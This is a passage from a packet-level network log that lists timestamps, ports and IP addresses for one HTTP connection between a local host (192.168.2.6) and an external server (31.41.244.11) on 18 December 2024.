Dec 18, 2024 11:47:28.876197100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.876209021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.876247883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.876247883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.876962900 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877007961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877019882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877037048 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.877048969 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.877082109 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.877749920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877783060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877794981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.877821922 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.877821922 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.877867937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.878642082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.878698111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.878864050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.878895998 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.878909111 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.878920078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.878948927 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.878972054 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.879637957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.879652023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.879666090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.879692078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.879738092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.880441904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.880455971 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.880532026 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.880562067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.880646944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.881208897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.881223917 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.881285906 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.881287098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.881311893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.881424904 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.882061958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.882085085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.882097960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.882121086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.882121086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.882145882 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.882926941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.882940054 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.882957935 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.883099079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.883620024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.883687973 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.883701086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.883723021 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.883761883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.884432077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.884462118 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.884474039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.884505987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.884505987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.884536982 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.885262966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.885276079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.885289907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.885343075 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.886061907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886084080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886096954 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886135101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.886185884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.886892080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886905909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886918068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.886971951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.886971951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.887731075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.887743950 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.887758017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.887803078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.887815952 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.888439894 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.888453007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.888529062 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.888545990 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.888607025 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:28.889492035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:28.889631033 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.052526951 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052545071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052558899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052805901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052839994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.052862883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052875042 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.052907944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.052999973 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.053692102 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.053703070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.053716898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.053862095 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.054549932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.054563046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.054574013 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.054923058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.055299997 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.055316925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.055330992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.055350065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.055392027 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.056029081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056051016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056061983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056082964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.056188107 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.056898117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056910992 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056925058 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.056946993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.056960106 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.057837009 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.057847977 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.057859898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.057895899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.057895899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.058567047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.058578968 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.058592081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.058613062 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.058667898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.059340000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.059350967 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.059364080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.059408903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.059408903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.060138941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.060151100 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.060163975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.060208082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.060208082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.060954094 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.060971975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.060985088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.061009884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.061009884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.061764956 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.061777115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.061791897 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.061819077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.061840057 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.062498093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.062566042 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.062580109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.062593937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.062635899 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.063307047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.063332081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.063345909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.063360929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.063394070 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.063394070 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064172983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064191103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064203024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064233065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064233065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064245939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064872026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064893007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064904928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.064925909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064925909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.064940929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.065752983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.065764904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.065777063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.065813065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.065813065 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.066499949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.066513062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.066526890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.066567898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.066567898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.067337036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.067348003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.067384958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.067418098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.067418098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.068156958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.068169117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.068181038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.068226099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.068226099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.068950891 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.068962097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.068974018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.069021940 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.069021940 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.069704056 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.069787979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.069977045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.069988966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.070000887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.070030928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.070030928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.070782900 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.070795059 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.070810080 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.070852995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.070897102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.071576118 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.071587086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.071599960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.071626902 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.071669102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.072411060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.072423935 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.072436094 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.072470903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.072510004 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.073337078 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.073348045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.073362112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.073383093 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.073402882 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.074067116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.074109077 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.074121952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.074139118 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.074371099 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.075026035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075037956 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075048923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075088024 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.075088024 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.075599909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075622082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075634003 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.075649023 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.075671911 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.075671911 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.076387882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.076431036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.076442957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.076463938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.076463938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.076497078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.077208042 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.077230930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.077243090 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.077260971 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.077285051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.077285051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.077961922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.078006983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.078006983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.078018904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.078054905 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.078054905 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.078906059 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.078988075 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.079031944 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.079077959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.079092979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.079160929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.079622984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.079634905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.079651117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.079677105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.079677105 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.079751015 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.080315113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.080365896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.243582010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.243598938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.243611097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.243644953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.243738890 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.243979931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.243993044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.244004965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.244034052 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.244066000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.244810104 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.244822025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.244832993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.244858027 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.244899035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.245579958 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.245592117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.245603085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.245651960 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.245651960 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.246352911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.246364117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.246376991 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.246404886 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.246731997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.247256041 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.247267962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.247279882 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.247332096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.247332096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.247904062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.247961044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.247973919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.248020887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.248020887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.248884916 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.248895884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.248908043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.248922110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.248939991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.248958111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.249684095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.249696970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.249708891 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.249763012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.249763012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.250402927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.250427008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.250437975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.250493050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.250493050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.251192093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.251238108 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.251250029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.251295090 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.251295090 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.251981020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.251991987 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.252003908 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.252036095 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.252052069 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.252818108 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.252830029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.252842903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.252890110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.252890110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:29.253580093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:29.253592968 CET	80	49837	31.41.244.11	192.168.2.6
